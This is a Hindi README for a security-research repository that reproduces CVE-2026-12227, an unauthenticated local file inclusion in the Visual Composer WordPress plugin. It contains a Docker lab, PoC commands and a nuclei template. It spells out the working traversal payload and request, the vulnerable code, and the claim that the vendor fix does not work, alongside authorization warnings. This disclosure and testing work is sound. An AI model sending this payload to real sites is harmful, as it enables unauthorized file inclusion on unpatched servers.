CVE-2026-12227 के लिए Docker सत्यापन लैब और safe-oracle PoC, जो vcv-template के माध्यम से Visual Composer में एक unauthenticated LFI है, साथ में एक nuclei डिटेक्शन टेम्पलेट।
CVE-2026-12227 को पुनरुत्पादित और सत्यापित करने के लिए सुरक्षा-अनुसंधान सामग्री: Visual Composer Website Builder के पेज-टेम्पलेट रिज़ॉल्यूशन में एक अनधिकृत लोकल फ़ाइल इन्क्लूज़न (CVSS 3.1 9.8), साथ ही एक सत्यापित विक्रेता-फ़िक्स विसंगति (नीचे देखें)।
locate_template() के अंदर कोर कंटेनमेंट गेट) - प्लगइन कोड स्वयं
45.16.3 तक कभी पैच नहीं किया गयाAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98केवल उन सिस्टमों पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। PoC हानिरहित ओरेकल इन्क्लूड्स (स्टॉक
wp-links-opml.php/xmlrpc.phpआउटपुट) चलाता है। कोई फ़ाइल प्लेसमेंट नहीं, कोई राइट नहीं, कोई RCE पेलोड नहीं।
स्थिति: दिए गए लैब में सिद्ध।
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
मार्कर-स्तरीय प्रमाण (uploads/ में रखी गई एक PHP फ़ाइल इन्क्लूड और निष्पादित, अनधिकृत GET) लैब साक्ष्य का हिस्सा है और भेद्य वेरिएंट पर ./lab verify द्वारा पुनरुत्पादित होता है।
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
template_include को प्राथमिकता 11 पर हुक करता है बिना किसी ऑथ चेक के:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() शाब्दिक .. को अस्वीकार करता है। लेकिन मान चेक के बाद ही जोड़ा जाता है, इसलिए प्रत्येक ट्रैवर्सल को एक theme: सीमा पर विभाजित करने से यह पास हो जाता है:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) कच्चा
$_POST/$_GET/$_REQUEST लौटाता है, इसलिए अपस्ट्रीम में भी कुछ इसे साफ़ नहीं करता।
locate_template() उम्मीदवार को file_exists() से रिज़ॉल्व करता है, जो
.. सेगमेंट्स का सम्मान करता है।
WordPress 7.1.2 (CVE-2026-87902 फ़िक्स) ने locate_template()
(wp-includes/template.php) के अंदर _wp_is_template_path_allowed() जोड़ा।
वह कोर गेट जुड़े हुए ट्रैवर्सल उम्मीदवार को अस्वीकार करता है, इसलिए WP 7.1.2+ पर यह प्लगइन चेन कोर द्वारा मास्क है - प्लगइन कभी पैच नहीं किया गया। एट्रिब्यूशन लैब में सत्यापित: 7.1.2 पर सिंक अभी भी चलता है लेकिन थीम डायरेक्टरी तक सीमित है; 7.1.1 पर यह बाहर निकल जाता है।
व्यावहारिक परिणाम: WordPress <= 7.1.1 पर Visual Composer 45.16.3 (वर्तमान रिलीज़, जिसे फ़िक्स्ड बताया गया है) चलाने वाली साइट आज भी अनधिकृत-LFI-भेद्य है। केवल WordPress कोर अपडेट ही इसे निष्क्रिय करता है।
आवश्यकताएँ: Docker with Compose v2, होस्ट पर Python 3.10+।
./lab verify
तीन कंट्रोल चलाता है: भेद्य (WP 7.1.1 + VC 45.16.1, ओरेकल का फ़ायर होना आवश्यक), पैच्ड (WP 7.1.2 + VC 45.16.1, ओरेकल का साइलेंट रहना आवश्यक), नवीनतम (WP 7.1.1 + VC 45.16.3, ओरेकल का फ़ायर होना आवश्यक - फ़िक्स-विसंगति प्रदर्शन)।
भेद्य कंट्रोल:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
पैच्ड कंट्रोल:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
PoC को हाथ से चलाएँ (डिफ़ॉल्ट रूप से लूपबैक; अधिकृत बाहरी लक्ष्यों के लिए स्पष्ट ओवरराइड आवश्यक):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
nuclei टेम्पलेट (nuclei/cve-2026-12227.yaml) होमपेज + page_id एंकरों पर गहराई 3-6 पर समान ओरेकल पेलोड फ़ायर करता है, stop-at-first-match के साथ।
| संयोजन | परिणाम |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= 45.16.0 कोड) | LFI पुनरुत्पादित (ओरेकल + रोपित-मार्कर निष्पादन) |
| WP 7.1.1 + VC 45.16.3 (वर्तमान रिलीज़) | LFI अभी भी फ़ायर होता है |
| WP 7.1.2 + VC 45.16.1 | साइलेंट (कोर गेट द्वारा मास्क) |
| VC 45.16.2 | फ़िक्स-डिफ़ समीक्षित; भेद्य पथ अपरिवर्तित (अलग से नहीं चलाया गया) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
कमिट नहीं किया गया: assets/ (प्लगइन ज़िप), .lab-state, __pycache__/।
| दावा | स्थिति |
|---|---|
| थीम डायरेक्टरी के बाहर PHP निष्पादन तक अनधिकृत LFI | सिद्ध (ओरेकल + रोपित मार्कर) |
| 45.16.3 तक विक्रेता फ़िक्स अनुपस्थित | सिद्ध (कोड डिफ़ + 45.16.3 पर लाइव फ़ायर) |
| WP 7.1.2 कोर मास्किंग | सिद्ध (समान अनुरोध 7.1.2 पर साइलेंट, 7.1.1 पर फ़ायर) |
| गहराई शब्दार्थ | themes// से docroot तक 3 अप; स्वीप 3-6 कवर करता है |
| वास्तविक लक्ष्यों पर pearcmd/write चेन के माध्यम से RCE | निष्पादित नहीं (केवल-सुरक्षित-ओरेकल PoC) |
| 45.16.0 (मूल प्रभावित रिलीज़) | 45.16.1 के साथ कोड-समान; इसके wp.org ज़िप में vendor/ अनुपस्थित है और इंस्टॉल नहीं हो सकता |
सलाहकारी सूचियाँ फ़िक्स को 45.16.1 में आने के रूप में सूचीबद्ध करती हैं, लेकिन भेद्य कोड पथ 45.16.3 तक प्रत्येक रिलीज़ में अपरिवर्तित है (ट्री डिफ़ और लाइव फ़ायर द्वारा सत्यापित)। यदि आप Visual Composer बनाए रखते हैं: viewPageTemplate() को theme: स्ट्रिप के बाद मान को पुनः-सत्यापित (या अस्वीकार) करने की आवश्यकता है, पहले नहीं। साइटों को इसके लिए प्लगइन अपडेट पर निर्भर नहीं रहना चाहिए - WordPress 7.1.2 कोर अपडेट ही वास्तव में इसे बंद करता है।
इस रिपॉज़िटरी को केवल उन सिस्टमों पर चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। लैब ड्राइवर अज्ञात वेरिएंट्स को अस्वीकार करता है, PoC गैर-लूपबैक लक्ष्यों को अस्वीकार करता है जब तक --allow-authorized-non-loopback प्रदान न किया जाए, और Compose पोर्ट 127.0.0.1 पर बाउंड है।
प्रकटीकरण प्रबंधन के लिए SECURITY.md देखें। इस रिपॉज़िटरी में उत्पादन लक्ष्य, ग्राहक डेटा, एक्सेस टोकन, या वास्तविक सिस्टमों के साक्ष्य शामिल नहीं हैं।
MIT - LICENSE देखें।